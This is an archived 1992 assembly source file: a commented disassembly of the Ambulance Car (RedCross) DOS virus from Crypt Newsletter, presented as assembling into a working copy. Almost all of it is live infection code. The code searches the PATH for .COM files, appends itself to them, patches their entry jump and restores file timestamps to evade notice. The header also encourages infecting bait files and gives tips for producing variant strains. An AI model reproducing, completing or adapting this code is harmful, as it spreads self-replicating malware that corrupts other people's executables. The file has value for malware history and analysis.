home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 271.AMBUL.ASM < prev    next >
Assembly Source File  |  1992-12-03  |  23KB  |  524 lines

  1. ;REDCROSS/AMBULANCE CAR VIRUS for Crypt Newsletter #10, edited by Urnst Kouch
  2. ;December 1992
  3. ;Originally supplied as a Sourcer disassembly in a Scandinavian virus mag
  4. ;published by "Youth Against McAfee (YAM)", this AMBULANCE specimen was 
  5. ;generated in its raw form by "Natas Kaupas." Hold that up to your mirror
  6. ;and it spells Satan. Whatever, "Natas/Satan" has also supplied us with the
  7. ;MINDLESS/FamR series of viruses for you trivia buffs. The Crypt Newsletter
  8. ;is obliged to him, wherever he is, for these interesting programs.
  9. ;
  10. ;In any case, while helpful, the original disassembly had diminished
  11. ;value, being completely uncommented. It did, however, assemble 
  12. ;under TASM into an actual working copy of the virus, which
  13. ;appears to be the AMBULANCE CAR B strain.
  14. ;
  15. ;
  16. ;Ambulance Car remains an interesting virus, packed with enough features
  17. ;so that it can still find its target files, .COM executables, wherever
  18. ;they might be lurking on a system.
  19. ;
  20. ;Principally, this revolves around the virus searching the path string set
  21. ;in the environment. If no path exists, the virus defaults to the
  22. ;current directory. In both cases, the virus may infect up to two files
  23. ;anywhere on the path per pass. Most times it will infect only one. 
  24. ;Sometimes it will not budge at all. 
  25. ;
  26. ;Once it's found a file, Ambulance checks it for the 0E9h byte at 
  27. ;the beginning. If it doesn't find it, the virus assumes the file is
  28. ;uninfected and immediately tries to complete the infection. If
  29. ;it does find the byte, it continues reading from there to confirm
  30. ;the viral sequence. If this is a coincidence and the complete sequence
  31. ;is not there, the virus will infect the file anyway.  
  32. ;
  33. ;Randomly, the virus will activate and run the Ambulance across the bottom
  34. ;of your screen after a round of infection.  Because of the path search
  35. ;Ambulance can easily find .COM executables on a sizeable disk at a time
  36. ;when there are less and less of these to be seen. Unfortunately, for a
  37. ;direct-action virus, the disk activity is noticeable with the caveats:
  38. ;on a fast machine, perhaps not; or in front of an average user, perhaps not.
  39. ;You never know how a user will react when dealing with viruses.
  40. ;
  41. ;You can easily experiment with this version on your machine by commenting
  42. ;out the path statement in your AUTOEXEC.BAT. This will restrict the
  43. ;virus to a test directory where it can be used to infect bait files
  44. ;until the Ambulance effect is seen.
  45. ;
  46. ;Ambulance Car is detected by "rules-based" anti-virus sentries like
  47. ;PCRx (reviewed in this issue), but keep in mind this type of
  48. ;protection is not flawless. Accidents can happen. Most current scanners 
  49. ;easily detect this variant of Ambulance, although
  50. ;some cannot disinfect files once they are parasitized.
  51.  
  52. data_1e           equ     0Ch
  53. data_2e           equ     49h
  54. data_3e           equ     6Ch
  55. psp_envirn_seg    equ     2Ch
  56. data_21e  equ     0C80h
  57.  
  58. virus             segment byte public
  59.           assume  cs:virus, ds:virus
  60.  
  61.  
  62.           org     100h
  63.  
  64. redcross          proc    far   ;main flow control procedure for Ambulance
  65.                                 ;Car virus
  66. start:
  67.           jmp     short virstart
  68. data_5            dw      4890h          ; Data table 
  69. data_7            dw      6C65h          ; Data table 
  70.           db       6Ch, 6Fh, 20h, 2Dh, 20h
  71.  
  72. copyright   db      'Copyright S & S Enterprises, 198';whoah, how'd Solomon's
  73.           db      '8'                                 ;stamp get in here? ;-]
  74.           db       0Ah, 0Dh, 24h, 1Ah,0B4h, 09h
  75.           db      0BAh, 03h, 01h,0CDh, 21h,0CDh
  76.           db      20h
  77. virstart:                     
  78.           db      0E8h, 01h, 00h
  79.           add     [bp-7Fh],bx
  80.           out     dx,al                   ; port 0, channel 0
  81.           add     ax,[bx+di]
  82.           call    check_infect            ; do path search, infect file
  83.           call    check_infect            ; ditto, sometimes, sometimes not
  84.           call    sound_fury              ; do we do AMBULANCE effect? Check!
  85.           lea     bx,[si+419h]            
  86.           mov     di,100h
  87.           mov     al,[bx]
  88.           mov     [di],al
  89.           mov     ax,[bx+1]
  90.           mov     [di+1],ax
  91.           jmp     di                      ; Register jump
  92.  
  93. exit:
  94.           retn                            ; handoff to host
  95.  
  96. redcross              endp
  97.  
  98. ;*****************************************************************************
  99. ;         SUBROUTINE
  100. ;*****************************************************************************
  101.  
  102. check_infect         proc    near         ; path search for Ambulance
  103.           call    loadpath                ; Car
  104.           mov     al,byte ptr data_19[si]
  105.           or      al,al                    
  106.           jz      exit                    ; No path/no files? Git!
  107.           lea     bx,[si+40Fh]            
  108.           inc     word ptr [bx]
  109.           lea     dx,[si+428h]            ; load effective address
  110.           mov     ax,3D02h
  111.           int     21h                ; open found file by loadpath read/write
  112.                                           ; with handle
  113.           mov     word ptr ds:[417h][si],ax  ;ax contains handle
  114.           mov     bx,word ptr ds:[417h][si]
  115.           mov     cx,3
  116.           lea     dx,[si+414h]            ; load address of buffer
  117.           mov     ah,3Fh                  ; to read first three bytes into.
  118.           int     21h                     ; Read the bytes . . .
  119.                                           ; bx points to file handle.
  120.                                           ;   
  121.           mov     al,byte ptr ds:[414h][si]
  122.           cmp     al,0E9h                 ; compare with 0E9h
  123.           jne     infect        ; if not equal, assume virus not here - infect
  124.           mov     dx,word ptr ds:[415h][si]  
  125.           mov     bx,word ptr ds:[417h][si]
  126.           add     dx,3
  127.           xor     cx,cx                   ; zero register
  128.           mov     ax,4200h
  129.           int     21h                     ; point to beginning of file, again
  130.                                           ; bx contains the handle
  131.                                           
  132.           mov     bx,word ptr ds:[417h][si]
  133.           mov     cx,6
  134.           lea     dx,[si+41Ch]            ; load effective address
  135.           mov     ah,3Fh                  ; and read the first 6 bytes
  136.           int     21h                     ; this time  
  137.                                             
  138.                                           ; ds:dx points to buffer
  139.          mov     ax,data_13[si]
  140.          mov     bx,data_14[si]
  141.          mov     cx,data_15[si]
  142.          cmp     ax,word ptr ds:[100h][si] ; compare with data copied above
  143.          jne     infect                    ; jump if not equal to infect
  144.          cmp     bx,data_5[si]
  145.          jne     infect                    ; jump if not equal
  146.          cmp     cx,data_7[si]
  147.          je      close                   ; finally, if we get a match we know
  148. infect:                                    ; we're here, so go to close up 
  149.          mov     bx,word ptr ds:[417h][si]
  150.          xor     cx,cx                   ; zero register
  151.          xor     dx,dx                   ; zero register
  152.          mov     ax,4202h
  153.          int     21h                     ; reset pointer to end of file
  154.                                          ; bx contains file handle
  155.                                           
  156.          sub     ax,3
  157.          mov     word ptr ds:[412h][si],ax
  158.          mov     bx,word ptr ds:[417h][si]
  159.          mov     ax,5700h                ; bx points to name of file
  160.          int     21h                     ; get file date and time
  161.                                          ; time returns in cx, date in dx
  162.                                           
  163.          push    cx                      ; push these onto the stack
  164.          push    dx                      ; we'll need 'em later
  165.          mov     bx,word ptr ds:[417h][si]
  166.          mov     cx,319h
  167.          lea     dx,[si+100h]            
  168.          mov     ah,40h                  ; write the virus to the end of
  169.          int     21h                     ; the file, identified in bx
  170.                                          ; cx contains virus length for write
  171.                                          ; so do it, yes, append virus
  172.          mov     bx,word ptr ds:[417h][si]
  173.          mov     cx,3
  174.          lea     dx,[si+414h]            ; load effective address
  175.          mov     ah,40h                  ; 
  176.          int     21h                     ; DOS Services  ah=function 40h
  177.                                          ; write file  bx=file handle
  178.                                          ; cx=bytes from ds:dx buffer
  179.          mov     bx,word ptr ds:[417h][si]
  180.          xor     cx,cx                   ; zero register
  181.          xor     dx,dx                   ; zero register
  182.          mov     ax,4200h
  183.          int     21h                     ; reset the pointer to start of file
  184.                                          ; identified in bx
  185.                                          ; cx,dx=offset
  186.          mov     bx,word ptr ds:[417h][si]
  187.          mov     cx,3
  188.          lea     dx,[si+411h]            ; load effective address
  189.          mov     ah,40h                  ; and write the first three virus id
  190.          int     21h                     ; and jump bytes to the file
  191.                                          ; now, just about finished
  192.                                          
  193.          pop     dx                      ; retrieve date
  194.          pop     cx                      ; and time from stack
  195.          mov     bx,word ptr ds:[417h][si]
  196.          mov     ax,5701h                ; restore file's date/time
  197.          int     21h                     
  198.  
  199. close:
  200.          mov     bx,word ptr ds:[417h][si]
  201.          mov     ah,3Eh                  
  202.          int     21h                     ; close file
  203.                                          
  204.          retn                            ; return to caller, maybe we'll 
  205. check_infect      endp                   ; infect again, maybe not
  206.  
  207.  
  208. ;*****************************************************************************
  209. ;                               SUBROUTINE
  210. ;*****************************************************************************
  211.  
  212. loadpath            proc    near    ; this procedure checks for the
  213.          mov     ax,ds:psp_envirn_seg ; existence of the ASCII path string in the 
  214.          mov     es,ax              ; environment block of the program 
  215.          push    ds                 ; segment prefix (in this case psp_envirn_seg) 
  216.          mov     ax,40h             ; if it exists, Ambulance Car copies
  217.          mov     ds,ax              ; the entire string into a buffer by using
  218.          mov     bp,ds:data_3e      ; '/' and ';' as cues. The virus then
  219.          pop     ds                 ; sets the DTA to a directory
  220.          test    bp,3               ; found in the path and executes a simple 
  221.          jz      loc_8              ; file search. If unproductive, it
  222.          xor     bx,bx              ; recursively searches the path
  223. loc_6:                              ; before defaulting to the current 
  224.          mov     ax,es:[bx]         ; directory
  225.          cmp     ax,4150h
  226.          jne     loc_7                   
  227.          cmp     word ptr es:[bx+2],4854h 
  228.          je      loc_9                   
  229. loc_7:
  230.          inc     bx
  231.          or      ax,ax                   
  232.          jnz     loc_6                   ; jump if not zero
  233. loc_8:
  234.          lea     di,[si+428h]           
  235.          jmp     short loc_14
  236. loc_9:
  237.          add     bx,5
  238. loc_10:
  239.          lea     di,[si+428h]          ; load effective address of buffer
  240. loc_11:
  241.          mov     al,es:[bx]
  242.          inc     bx                   ; copy a byte from the path
  243.          or      al,al                 
  244.          jz      loc_13               ; jump if zero
  245.          cmp     al,3Bh               ; found a divider? ';'
  246.          je      loc_12               ; jump if equal, continue copying path
  247.          mov     [di],al
  248.          inc     di
  249.          jmp     short loc_11         ; loop around, continue copying
  250. loc_12:
  251.          cmp     byte ptr es:[bx],0      
  252.          je      loc_13                  
  253.          shr     bp,1                    ; Shift w/zeros fill
  254.          shr     bp,1                    ; Shift w/zeros fill
  255.          test    bp,3
  256.          jnz     loc_10                  ; Jump if not zero
  257. loc_13:
  258.          cmp     byte ptr [di-1],5Ch     ; compare with '\'
  259.          je      loc_14                  ; jump if equal
  260.          mov     byte ptr [di],5Ch       ; compare with '\'
  261.          inc     di
  262. loc_14:
  263.          push    ds
  264.          pop     es
  265.          mov     data_16[si],di
  266.          mov     ax,2E2Ah
  267.          stosw                    ; copy portion of path, store ax to es:[di]
  268.          mov     ax,4F43h
  269.          stosw                           ; Store ax to es:[di]
  270.          mov     ax,4Dh
  271.          stosw                           ; Store ax to es:[di]
  272.          push    es
  273.          mov     ah,2Fh                  
  274.          int     21h                     ; get current DTA
  275.                                          ; move it into es:bx
  276.          mov     ax,es
  277.          mov     data_17[si],ax
  278.          mov     data_18[si],bx
  279.          pop     es
  280.          lea     dx,[si+478h]            ; address of filemask
  281.          mov     ah,1Ah
  282.          int     21h                     ; set the DTA to first dir in path
  283.                                          ; disk xfer area, ds:dx
  284.          lea     dx,[si+428h]            ; load effective address
  285.          xor     cx,cx                   ; zero register
  286.          mov     ah,4Eh                  ; find first file
  287.          int     21h                      
  288.                                          
  289.          jnc     loc_15                  ; jump if carry = 0
  290.          xor     ax,ax                   
  291.          mov     data_19[si],ax
  292.          jmp     short loc_18
  293. loc_15:
  294.          push    ds
  295.          mov     ax,40h
  296.          mov     ds,ax
  297.          ror     bp,1                    
  298.          xor     bp,ds:data_3e
  299.          pop     ds
  300.          test    bp,7
  301.          jz      loc_16                  ; Jump if zero
  302.          mov     ah,4Fh                  
  303.          int     21h                     
  304.                                          ; find next file
  305.          jnc     loc_15                  ; jump if carry = 0
  306. loc_16:
  307.          mov     di,data_16[si]
  308.          lea     bx,[si+496h]            
  309. loc_17:
  310.          mov     al,[bx]
  311.          inc     bx
  312.          stosb                           ; Store al to es:[di]
  313.          or      al,al                   
  314.          jnz     loc_17                  ; Jump if not zero
  315. loc_18:
  316.          mov     bx,data_18[si]
  317.          mov     ax,data_17[si]
  318.          push    ds
  319.          mov     ds,ax
  320.          mov     ah,1Ah
  321.          int     21h                     ; DOS Services  ah=function 1Ah
  322.                                          ; set DTA(disk xfer area), ds:dx
  323.          pop     ds
  324.          retn                            ; return to check_infect
  325. loadpath            endp
  326.  
  327.  
  328. ;*****************************************************************************
  329. ;                               SUBROUTINE
  330. ;*****************************************************************************
  331.  
  332. sound_fury            proc    near       ;sets up Ambulance Car effect, but
  333.          push    es                      ; other than that, I have no idea
  334.          mov     ax,word ptr ds:[40Fh][si]  ; subroutines and procs from
  335.          and     ax,7                       ; here on down manage the
  336.          cmp     ax,6                       ; Ambulance Car graphic and
  337.          jne     loc_19                     ; siren effect
  338.          mov     ax,40h
  339.          mov     es,ax
  340.          mov     ax,es:data_1e
  341.          or      ax,ax                   
  342.          jnz     loc_19                 ; <= comment this out and you'll
  343.          inc     word ptr es:data_1e    ; get a corrupted version of the
  344.          call    sub_5                  ; Car effect everytime the virus
  345. loc_19:                                 ; executes. If you fiddle around 
  346.          pop     es                     ; with it enough you'll eventually
  347.          retn                           ; get the strain known as RedX-Any,
  348. sound_fury            endp              ; for RedCross anytime.
  349.  
  350.  
  351. ;*****************************************************************************
  352. ;                               SUBROUTINE
  353. ;*****************************************************************************
  354.  
  355. sub_5            proc    near
  356.          push    ds
  357.          mov     di,0B800h
  358.          mov     ax,40h
  359.          mov     ds,ax
  360.          mov     al,ds:data_2e
  361.          cmp     al,7
  362.          jne     loc_20                  
  363.          mov     di,0B000h
  364. loc_20:
  365.          mov     es,di
  366.          pop     ds
  367.          mov     bp,0FFF0h
  368. loc_21:
  369.          mov     dx,0
  370.          mov     cx,10h
  371.  
  372. locloop_22:
  373.          call    sub_8
  374.          inc     dx
  375.          loop    locloop_22              ; Loop if cx > 0
  376.  
  377.          call    sub_7
  378.          call    sub_9
  379.          inc     bp
  380.          cmp     bp,50h
  381.          jne     loc_21                  ; Jump if not equal
  382.          call    sub_6
  383.          push    ds
  384.          pop     es
  385.          retn
  386. sub_5            endp
  387.  
  388.  
  389. ;*****************************************************************************
  390. ;                               SUBROUTINE
  391. ;*****************************************************************************
  392.  
  393. sub_6            proc    near          ; cycles speaker on for siren
  394.          in      al,61h                  ; port 61h, 8255 port B, read
  395.          and     al,0FCh
  396.          out     61h,al                  ; port 61h, 8255 B - spkr, etc
  397.                                          ;  al = 0, disable parity
  398.          retn
  399. sub_6            endp
  400.  
  401.  
  402. ;*****************************************************************************
  403. ;                               SUBROUTINE
  404. ;*****************************************************************************
  405.  
  406. sub_7            proc    near            ; more speaker stuff
  407.          mov     dx,7D0h
  408.          test    bp,4
  409.          jz      loc_23                  
  410.          mov     dx,0BB8h
  411. loc_23:
  412.          in      al,61h                  ; port 61h, 8255 port B, read
  413.          test    al,3
  414.          jnz     loc_24                  
  415.          or      al,3
  416.          out     61h,al                  ; port 61h, 8255 B - spkr, etc
  417.          mov     al,0B6h
  418.          out     43h,al                  ; port 43h, 8253 wrt timr mode
  419. loc_24:
  420.          mov     ax,dx
  421.          out     42h,al                  ; port 42h, 8253 timer 2 spkr
  422.          mov     al,ah
  423.          out     42h,al                  ; port 42h, 8253 timer 2 spkr
  424.          retn
  425. sub_7            endp
  426.  
  427.  
  428. ;*****************************************************************************
  429. ;                               SUBROUTINE
  430. ;*****************************************************************************
  431.  
  432. sub_8            proc    near
  433.          push    cx
  434.          push    dx
  435.          lea     bx,[si+3BFh]            ; Load effective addr
  436.          add     bx,dx
  437.          add     dx,bp
  438.          or      dx,dx                   ; Zero ?
  439.          js      loc_27                  ; Jump if sign=1
  440.          cmp     dx,50h
  441.          jae     loc_27                  ; Jump if above or =
  442.          mov     di,data_21e
  443.          add     di,dx
  444.          add     di,dx
  445.          sub     dx,bp
  446.          mov     cx,5
  447.  
  448. locloop_25:
  449.          mov     ah,7
  450.          mov     al,[bx]
  451.          sub     al,7
  452.          add     al,cl
  453.          sub     al,dl
  454.          cmp     cx,5
  455.          jne     loc_26                  ; Jump if not equal
  456.          mov     ah,0Fh
  457.          test    bp,3
  458.          jz      loc_26                  ; Jump if zero
  459.          mov     al,20h                  ; ' '
  460. loc_26:
  461.          stosw                           ; Store ax to es:[di]
  462.          add     bx,10h
  463.          add     di,9Eh
  464.          loop    locloop_25              ; Loop if cx > 0
  465.  
  466. loc_27:
  467.          pop     dx
  468.          pop     cx
  469.          retn
  470. sub_8            endp
  471.  
  472.  
  473. ;*****************************************************************************
  474. ;                               SUBROUTINE
  475. ;*****************************************************************************
  476.  
  477. sub_9            proc    near
  478.          push    ds
  479.          mov     ax,40h
  480.          mov     ds,ax
  481.          mov     ax,ds:data_3e
  482. loc_29:
  483.          cmp     ax,ds:data_3e
  484.          je      loc_29                  ; Jump if equal
  485.          pop     ds
  486.          retn
  487. sub_9            endp
  488.  
  489.          db       22h, 23h, 24h, 25h
  490.          db       26h, 27h, 28h, 29h, 66h, 87h
  491.          db       3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h
  492.          db       23h,0E0h,0E1h,0E2h,0E3h,0E4h
  493.          db      0E5h
  494. data_8           dw      0E7E6h                  ; Data table (indexed access)
  495.          db      0E7h
  496. data_9           dw      0EAE9h                  ; Data table (indexed access)
  497. data_10          db      0EBh                    ; Data table (indexed access)
  498. data_11          dw      3130h                   ; Data table (indexed access)
  499. data_12          dw      2432h                   ; Data table (indexed access)
  500.          db      0E0h,0E1h,0E2h
  501. data_13          dw      0E8E3h                  ; Data table (indexed access)
  502. data_14          dw      0EA2Ah                  ; Data table (indexed access)
  503. data_15          dw      0E8E7h                  ; Data table (indexed access)
  504. data_16          dw      2FE9h                   ; Data table (indexed access)
  505. data_17          dw      6D30h                   ; Data table (indexed access)
  506. data_18          dw      3332h                   ; Data table (indexed access)
  507. data_19          dw      0E125h                  ; Data table (indexed access)
  508.          db      0E2h,0E3h,0E4h,0E5h,0E7h,0E7h
  509.          db      0E8h,0E9h,0EAh,0EBh,0ECh,0EDh
  510.          db      0EEh,0EFh, 26h,0E6h,0E7h, 29h
  511.          db       59h, 5Ah, 2Ch,0ECh,0EDh,0EEh
  512.          db      0EFh,0F0h, 32h, 62h, 34h,0F4h
  513.          db       09h, 00h,0E9h, 36h, 00h,0EBh
  514.          db       2Eh, 90h, 05h, 00h,0EBh, 2Eh
  515.          db       90h
  516.  
  517. virus            ends
  518.  
  519.  
  520.  
  521.          end     start
  522.  
  523.  
  524.